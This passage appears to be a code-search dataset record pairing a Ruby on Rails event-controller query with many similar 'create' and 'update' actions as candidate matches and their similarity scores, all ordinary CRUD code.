:unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, flash: {success: 'Event was successfully created.'} }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: \"Event was successfully created.\" }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: \"Event was successfully created.\" }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, success: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'El evento fue creado exitosamente.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(params[:event])\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n flash[:success] = \"Event was successfully created.\"\n format.html { redirect_to @event }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\r\n @event = Event.new(event_params)\r\n convert_timezone @event\r\n event_type_status @event\r\n if @event.save_without_exception\r\n update_theme @event\r\n add_event_categories @event\r\n add_event_location @event\r\n create_group_guest_list @event\r\n add_photos @event\r\n # Create Groups and contacts through CSV\r\n contacts_imports\r\n render json: SuccessResponse.new(\r\n code: 200, message: 'Event Created.', location: '/events/List?id=' + @event.id.to_s, eventID: @event.id\r\n ), adapter: :json, status: :ok\r\n else\r\n render json: ErrorResponse.new, adapter: :json, status: :unprocessable_entity\r\n end\r\n end", "def create\n @event = current_user.events.new(params[:event])\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: t(:event_success) }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_events\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Aula cadastrada com sucesso.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to action: :index, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to new_user_event_path(current_user), notice: 'event was successfully created.' }\n format.json\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(params[:event])\n @event.url = BASE_URL + @event.name.gsub(' ', '_')\n \n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render action: 'show', status: :created, location: @event }\n else\n format.html { render action: 'new' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def post_event(url, event, payload_type, payload)\n body = {\n :event => event,\n :payload_type => payload_type }\n body[:payload] = payload if payload\n\n http_post(url) do |req|\n req.headers['Content-Type'] = 'application/json'\n req.body = body.to_json\n req.params['verification'] = 1 if event == 'verification'\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render action: 'show', status: :created, location: @event }\n else\n format.html { render action: 'new' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render action: 'show', status: :created, location: @event }\n else\n format.html { render action: 'new' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = @calendar.events.new(event_params)\n respond_to do |format|\n if @event.save\n format.json { render json: @event }\n else\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n flash[:success] = \"Wydarzenie zostało utworzone.\"\n format.html {redirect_to @event}\n format.json {render :show, status: :created, location: @event}\n else\n format.html {render :new}\n format.json {render json: @event.errors, status: :unprocessable_entity}\n end\n end\n end", "def create\n @event = Event.new(params[:event])\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to event_registration_path(id: @event.id), notice: 'Event was successfully created.' }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n @event.creator = @current_user\n\n if @event.save\n @event.users.each do |user|\n p \"event user = #{user.name}\"\n user.send_event_push(PushTypes::NEW_EVENT, current_user.to_push, @event.title)\n end\n else\n render json: @event.errors, status: :unprocessable_entity\n return\n end\n end", "def create\n @event = Event.new(event_params)\n if @event.save\n render json: @event, status: 201\n @user_event = UserEvent.create(admin: true, event_id: @event.id, user_id: current_user.id)\n else\n render json: { message: \"Please make sure to fill all required fields.\" }, status: 401\n end\n end", "def create\n @event = Event.new(event_params)\n respond_to do |format|\n if @event.save\n track_activity @event\n format.html { redirect_to :back, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n after_event_created_mail @event\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @myevent = Myevent.new(params[:myevent])\n\n respond_to do |format|\n if @myevent.save\n format.html { redirect_to @myevent, notice: 'Myevent was successfully created.' }\n format.json { render json: @myevent, status: :created, location: @myevent }\n else\n format.html { render action: \"new\" }\n format.json { render json: @myevent.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.7714071", "0.7611226", "0.76028967", "0.7541319", "0.7444731", "0.73206913", "0.73138195", "0.728203", "0.7251226", "0.7235907", "0.7235907", "0.7215051", "0.71682763", "0.7150409", "0.7126664", "0.7118896", "0.7117831", "0.71162695", "0.70964044", "0.70907074", "0.7083036", "0.7081109", "0.7080767", "0.7071589", "0.7057984", "0.70422375", "0.7018503", "0.7018503", "0.7018503", "0.7018503", "0.7018503", "0.7018503", "0.7018503", "0.7018503", "0.7018503", "0.7018503", "0.7018503", "0.7018503", "0.7018503", "0.7016941", "0.70167124", "0.70091015", "0.70081246", "0.6989661", "0.6987218", "0.6970633", "0.6970633", "0.6966775", "0.6948742", "0.6948119", "0.6948119", "0.6948119", "0.6948119", "0.6948119", "0.6948119", "0.6948119", "0.6948119", "0.6948119", "0.6948119", "0.6948119", "0.6948119", "0.6948119", "0.6948119", "0.6948119", "0.6948119", "0.6948119", "0.6948119", "0.6948119", "0.6948119", "0.6948119", "0.6948119", "0.6948119", "0.6948119", "0.6948119", "0.6948119", "0.6948119", "0.6942416", "0.6936477", "0.69359535", "0.69359535", "0.69318086", "0.69268054", "0.6907236", "0.6905569", "0.69051725", "0.6904514", "0.6902843", "0.69011873", "0.6899826", "0.68961006", "0.68811166", "0.68746495", "0.68642014", "0.68642014", "0.6843213", "0.68419445", "0.6836244", "0.68352246", "0.6820027", "0.68000513", "0.6791519" ]
0.0
-1
PATCH/PUT /events/1 PATCH/PUT /events/1.json
def update event_id = session[:event_id] event = Event.find(event_id) ids = params[:event][:attendee_ids] ids.each do |id| next if event.events_attendees.exists?(attendee_id: id) event.events_attendees.create(attendee_id: id) end redirect_to event end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def patch_event\n user_id = params[\"user_id\"]\n group_id = params[\"group_id\"]\n event_id = params[\"event_id\"]\n\n #TODO Handle 404 if event not found\n event = Event.find(event_id)\n\n json_body = JSON.parse(request.body.read)\n\n @@event_service.patch_event(json_body, user_id, group_id, event_id)\n\n render status: :ok, text: \"\"\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.json { head :no_content }\n else\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @event.update(event_params(params))\n render json: @event, status: 200\n else\n render :json => @event.errors, :status => 422\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.json { render json: @event }\n else\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @event.update(event_params)\n render json: @event, status: 201\n else\n render json: { message: \"Error. Error. Please try again.\"}, status: 400\n end\n end", "def update\n\tif @event.update(event_params)\n head :no_content\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end", "def update\n return forbidden unless user_is_owner\n return bad_request unless @event.update_attributes(event_params)\n render json: @event, status: :ok\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.json { render :show, status: :ok, location: @event }\n else\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.json { render :show, status: :ok, location: @event }\n else\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @event.update(event_params)\n render json: { location: format_event(@event) }\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n @event.update(status: \"Pending\")\n else\n @reopen = true\n format.json { render json: @event.errors, status: :unprocessable_entity }\n format.html { render :show }\n end\n end\n end", "def update\n \n \n @event = Event.find(params[:id])\n\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: t(:event_updated) }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n \n end\n end", "def update\n @event = Event.find(params[:id])\n\n if @event.update(params[:event])\n head :no_content\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end", "def pupdate\n @event = Event.find(params[:id])\n respond_to do |format|\n if @event.update_attributes(JSON.parse(params[:event]))\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content}\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n # @event = Event.find(params[:id])\n\n if @event.update(event_params)\n head :no_content\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end", "def update\n @event = Event.find(params[:id])\n\n if @event.update(event_params)\n head :no_content\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end", "def update\n @event = Event.find(params[:id])\n\n if @event.update(event_params)\n head :no_content\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @base_event.update(base_event_params)\n format.json { head :no_content }\n else\n format.json { render json: @base_event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html {redirect_to @event, notice: 'Event was successfully updated.'}\n format.json {head :no_content}\n else\n format.html {render action: 'edit'}\n format.json {render json: @event.errors, status: :unprocessable_entity}\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n @event.save!\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n # @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n #require \"pry\"; binding.pry\n\n update_users\n\n respond_to do |format|\n if @event.update(event_params)\n sync_update @event\n format.html { redirect_to @event, notice: t(\"successfully_updated\", :model => t(\"models.event\")) }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.using(:shard_one).find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, :notice => 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @event.errors, :status => :unprocessable_entity }\n end\n end\n\n\n\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to events_path, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: events_path(@event) }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, :notice => 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @event.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, :notice => 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @event.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, :notice => 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @event.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n\n\n\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to '/', notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\n respond_to do |format|\n if @event.update(event_params)\n\n format.html { redirect_to @event }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n #@event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n event_id = params[:id]\n if event_id.present? && params[:event].present? && @user.uuid.present? && @user.uuid != \"guest\"\n event_params = params[:event]\n @event = Com::Nbos::Events::Event.where(id: params[:id], user_id: @user.id ).first\n if @event.present?\n @event.update(event_params.permit!)\n if @event.save\n render :json => @event\n else\n data = add_error_messages(@event)\n render :json => data\n end\n else\n render :json => {\"messageCode\": \"module.user.unauthorized\", \"message\": \"Unauthorized to update others Event\"}, status: 404\n end\n else\n render :json => {messageCode: \"bad.request\", message: \"Bad Request\"}, status: 400\n end\n end", "def update\r\n respond_to do |format|\r\n if @event.update(event_params)\r\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: 'edit' }\r\n format.json { render json: @event.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html do\n gflash :notice\n redirect_to @event\n end\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event_event = Event::Event.find(params[:id])\n\n respond_to do |format|\n if @event_event.update_attributes(params[:event_event])\n format.html { redirect_to @event_event, notice: 'Event was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event_event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to events_event_path(@event), notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @event.update(event_params)\n \tdata = { data: @event, status: :ok, message: \"Event was successfully updated.\" }\n render :json => data\n else\n \tdata = { data: @event.errors, status: :unprocessable_entity }\n render :json => data\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to edit_event_path(@event), notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do 